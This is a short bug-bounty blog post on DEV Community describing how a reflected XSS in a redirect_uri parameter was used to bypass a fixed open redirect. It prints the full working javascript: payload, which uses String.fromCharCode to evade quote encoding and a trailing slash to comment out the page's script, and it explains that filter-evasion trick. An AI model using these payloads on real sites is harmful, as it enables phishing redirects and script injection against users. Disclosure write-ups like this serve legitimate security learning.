DEV Community

Cover image for Using an XSS for Open Redirect
darkmage
darkmage

Posted on

Using an XSS for Open Redirect

I recently got awarded some money for overcoming a fix to an open redirect by using an XSS. Here's how it worked:

https://some.domain.com/mysecureendpointthing/xyz?response_type=code&client_id=12345678-90ab-cdef-ghij-xxxyyyzzzxxx&scope=myscope&redirect_uri=

Originally, there was an open redirect via the redirect_uri field. They fixed that one.

However, there was still an XSS possible that they hadn't fixed.

I wondered if I could still exploit this "resolved" bug...

The final payload looked something like this:

https://some.domain.com/mysecureendpoint/xyz?response_type=code&client_id=12345678-90ab-cdef-ghij-xxxyyyzzzxxx&scope=myscope&redirect_uri=javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F
Enter fullscreen mode Exit fullscreen mode

So, let's look at the payload:

javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F
Enter fullscreen mode Exit fullscreen mode

When you decode from URL encoding:

javascript:window.location.replace(String.fromCharCode(104,116,116,112,58,47,47,101,118,105,108,100,111,106,111,46,99,111,109));/
Enter fullscreen mode Exit fullscreen mode

The fromCharCode numbers decode to "http://evildojo.com"

The reason I had to do this is that double and single-quotes were being HTML-encoded in the source code reflected.

I couldn't do:

javascript:window.location.replace("http://evildojo.com");/
Enter fullscreen mode Exit fullscreen mode

As this would get reflected as

javascript:window.location.replace("http://evildojo.com");/
Enter fullscreen mode Exit fullscreen mode

Which, of course, this would not execute.

I thought about it for a while and realized I could try to construct a string using only ASCII values.

Originally I tried concatenating a string from a bunch of individual codes:

javascript:window.location.replace(String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(118)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(106)+String.fromCharCode(111)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109))
Enter fullscreen mode Exit fullscreen mode

This payload did not execute. I believe I would have to encode the plus signs for this one to have worked, but before I got to try that, I discovered String.fromCharCode() allows for additional parameters past the first, so you could separate each ASCII value with a comma and pass an entire string in using only numbers if you find that single or double quotes are being filtered.

Even once I got the payload set up, it still wouldn't execute, as the javascript surrounding it in the source code for the page was causing a malformed statement.

To overcome this, I added a final forward-slash %2F at the end of the payload, turning the code that came after it into a comment, and causing the payload to execute.


There's several lessons to learn here:

  1. NEVER trust that a bug has been fixed. Always go back through old reports, especially if you are stuck and need inspiration.
  2. Sometimes, you need to step away from the computer for a while and do something else completely unrelated before you'll see something obvious.
  3. If you find an injection, and quotes+double-quotes are being filtered, try to work with only numbers.

If you would like individual mentoring on programming or hacking, please reach out to me on CodeMentor.io

Thank you for your time :)

Top comments (0)